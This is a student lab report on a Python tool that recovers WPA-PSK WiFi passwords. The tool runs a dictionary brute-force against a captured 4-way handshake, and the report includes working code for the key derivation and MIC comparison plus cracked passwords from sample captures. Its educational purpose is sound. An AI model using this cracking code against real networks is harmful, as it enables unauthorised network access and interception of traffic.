M1 CRYPTIS
Report Advanced Networks II

presented by
DO Duy Huy Hoang
NGUYEN Thi Mai Phuong

April 20, 2021

1 Introduction

WPA-PSK is WiFi Protected Access with a Pre-Shared Key (PSK). The weakness of this system is these exchanges, known as a 4-steps handshake. The encrypted password is shared at this time so we totally can do a dictionary attack.

The goal of this project is using "brute-force" method to create a tool can find WiFi password based on analyzing packets of the connection.

2 Implementation

To do "brute-force" attack, we should have a list of PSKs that can be the WiFi password. Then we calculate Message Integrity Code (MIC) from each PSK. Finally, we compare if the MIC that we calculated to the MIC we obtained from packets.

2.1 Generate the list of PSKs

We have some indications:

- The password has 8 characters
- Begin with 4 characters "a"
- Administrator only used lowercase alphabetic characters.

So we can go with an idea: finding all the combinations of any 4 lowercase characters then appending it to the string "aaaa". To generate all these combinations we using library itertools of Python.

```
1 def create_word_dictionary(len_of_word):
2     wordlist = []
3     pre_fix = 'aaaa'
4     lowercase_characters = 'abcdefghijklmnopqrstuvwxyz'
5     keywords = [''.join(i) for i in product(lowercase_characters,
      ↪  repeat=len_of_word)]
6     for key in keywords:
7         s = pre_fix + key
8         wordlist.append(s)
9     return wordlist
```

2.2 Get the information from pcap file

With the support of **Scapy**, we can get the packets exchanged during the authentication handshakes between the station and access point. Then we get information in those packets.

```
def get_ssid(packet):
    return packet.getlayer(Dot11Elt).info

def get_mac_addresses(packet):
    return cs(packet.getlayer(Dot11).addr1.replace(":", ""))

def get_nonce(packet):
    return packet.getlayer(WPA_key).nonce

def read_pcap(file):
    packets = rdpcap(file)
    ssid = get_ssid(packets[0])
    # get 4 handshakes
    list_packets_handshakes = [pk for pk in packets if
    ↪  pk.haslayer(WPA_key)]
    # get mac
    mac_of_station = get_mac_addresses(list_packets_handshakes[1])
    mac_of_access_point = get_mac_addresses(list_packets_handshakes[0])
    # get nonce
    nonce_a0 = get_nonce(list_packets_handshakes[2])
    nonce_s0 = get_nonce(list_packets_handshakes[1])
    # get mic
    mic = get_mic(list_packets_handshakes[3])
    # get hash_type, eapol_frame
    eapol_frame = list_packets_handshakes[3].getlayer(EAPOL)
    hash_type = md5
    if eapol_frame.key_descriptor_Version == 2:
        hash_type = sha1
    eapol_frame.wpa_key_mic = ''
    eapol_frame.key_ACK = 0
    eapol_frame = bytes(eapol_frame)
    return ssid, mac_of_station, mac_of_access_point, nonce_a0, nonce_s0,
    ↪  mic, eapol_frame, hash_type
```

2.3 Brute-force attack

Now we find the correct PSK from the list of PSKs that was generated before with the following steps:

- **Step 1:** Calculate Pairwise Master Key (PMK) from PSK and SSID by a Pseudo Random Function.
- **Step 2:** Calculate Pairwise Transient Key (PTK) from PMK, MAC address, nonce of Access Point (AC) and Station (S).
- **Step 3:** Get Key Confirmation Key (KCK) from the first 128 bits of PTK (16 bytes).
- **Step 4:** Calculate MIC from EAPOL frame, KCK by applying suitable hash algorithm.
- **Step 5:** Compare the calculated MIC with the one we have got from the packets.

2.3.1 Brute-force Function

```
1  def do_brute_force(test_case):
2      ...
3      iterator = 0
4      flag = False
5      print("Starting dictionary attack. Please be patient.")
6      for word in wordlist:
7          # Calculating PMK
8          pmk = get_pmk(word, ssid)
9          # Calculating PTK
10         a = b"Pairwise key expansion"
11         lower_mac = min(mac_of_access_point, mac_of_station)
12         higher_mac = max(mac_of_access_point, mac_of_station)
13         lower_nonce = min(nonce_a0, nonce_s0)
14         higher_nonce = max(nonce_a0, nonce_s0)
15         b = lower_mac + higher_mac + lower_nonce + higher_nonce
16         ptk = get_ptk(pmk, a, b)
17         # Calculating hmac Key MIC for this frame
18         kck = ptk[:16]
19         fake_mic = generate_fake_mic(kck, eapol_frame, hash_type)
20         if fake_mic == mic or mic in fake_mic:
21             print("Attack success! The PSK is \"{}\"".format(word))
22     ...
```

2.3.2 Other support functions

a. **Calculate PMK**

```
def get_pmk(passphrase, ssid):
    f = PBKDF2(passphrase, ssid, 4096)
    return f.read(32)
```

b. **Calculate PTK**

```
def pseudo_random_func512(key, a, b):
    r = b''
    i_counter = 0
    while len(r) * 8 < 512:
        tmp = a + chr(0x00).encode() + b + chr(i_counter).encode()
        hmac_sha1 = hmac.new(key, tmp, hashlib.sha1)
        r = r + hmac_sha1.digest()
        i_counter += 1
    return r[:64]

def get_ptk(pmk, a, b):
    return pseudo_random_func512(pmk, a, b)
```

c. **Calculate MIC**

In the handshake process, the MIC assists to verify whether this message was corrupted or modified. If the generated MIC equals the MIC in the original handshake, then we can infer that the PSK used to generate the PMK is correct.

```
def generate_mic(kck, frame, mode):
    mic = hmac.new(kck, digestmod=mode)
    mic.update(frame)
    return mic.hexdigest()
```

3 Verify with Test cases

To ensure the correctness of our program, we tested on 5 test cases.

- **Test case 1:** Example 1 from Project Topic (with SSID linksys54gh).
- **Test case 2:** Example 2 from Project Topic (with SSID soho-psk).
- **Test case 3:** File wpa-Induction.pcap.
- **Test case 4:** File capture_wpa.pcap.
- **Test case 5:** File WPA2-PSK-Final.cap. that we found on Cisco

a. **Test case 1**

```
Attack success. The PSK is "radiustest"
PMK for radiustest:
↪  b'9e9988bde2cba74395c0289ffda07bc41ffa889a3309237a2240c934bcdc7ddb'
PTK with collected data and PMK:
↪  b'ccbf97a82b5c51a44325a77e9bc57050daec5438430f00eb893d84d8b4b4b5e81...'
Calculated MIC: d0ca4f2a783c4345b0c00a12ecc15f77
```

b. **Test case 2**

```
Attack success. The PSK is "secretsecret"
PMK for secretsecret:
↪  b'f404286cb4418a31cc7247afd34412bd6f053e23c5c53f8615441df8858af915'
PTK with collected data and PMK:
↪  b'c40be3e4eb3aea77eb1beb447787e87fa3bd8f75ecf80097936989a585717f1b5...'
Calculated MIC: f3a0f6914e28a2df103061a41ee83878
```

c. **Test case 3**

```
Attack success. The PSK is "Induction"
PMK for Induction:
↪  b'a288fcf0caaacda9a9f58633ff35e8992a01d9c10ba5e02efdf8cb5d730ce7bc'
PTK with collected data and PMK:
↪  b'b1cd792716762903f723424cd7d1651182a644133bfa4e0b75d96d23083584331...'
Calculated MIC: 10bba3bdfbcfde2bc537509d71f2ecd16ccf4227
```

d. **Test case 4**

With this test case, the time to get the right combination for 4 hidden characters is very long (worst case: 26^4). For future work, we can use the multi-threads technique to reduce time to solve this test case.

```
Attack success. The PSK is "aaaababa"
PMK for aaaababa:
↪ b'590a17bdd06103531d25efd6853e5391b81fca0e9a0c1199d0b15ca7bbe7e09d'
PTK with collected data and PMK:
↪ b'08c05fbf17e0f966c1fc8c6a216e4d0bad521dcf2c93a5b1ad5f08ab3593bc507...'
Calculated MIC: adda25ccf2fcaecfd18b37f2b2ffafd2
```

e. **Test case 5**

```
Attack success. The PSK is "Cisco123Cisco123"
PMK for Cisco123Cisco123:
↪ b'2207f6811807b9456ec034be8c794f04b68212fe2b58c119fe18f384c5f51b1b'
PTK with collected data and PMK:
↪ b'41c25c8e40ad27961a354f815ad67350a7b316162d7547431798125fd324b8152...'
Calculated MIC: 2795e176eb6bbac16e0616b41494d60afb844367
```

4 Conclusion

In this project, we successfully implement a program to find WiFi password with brute-force by analysing packets of connection. Our program works well on 5 test cases and the PSK in the file **capture_wpa.pcap** was also found and it is **aaaababa**.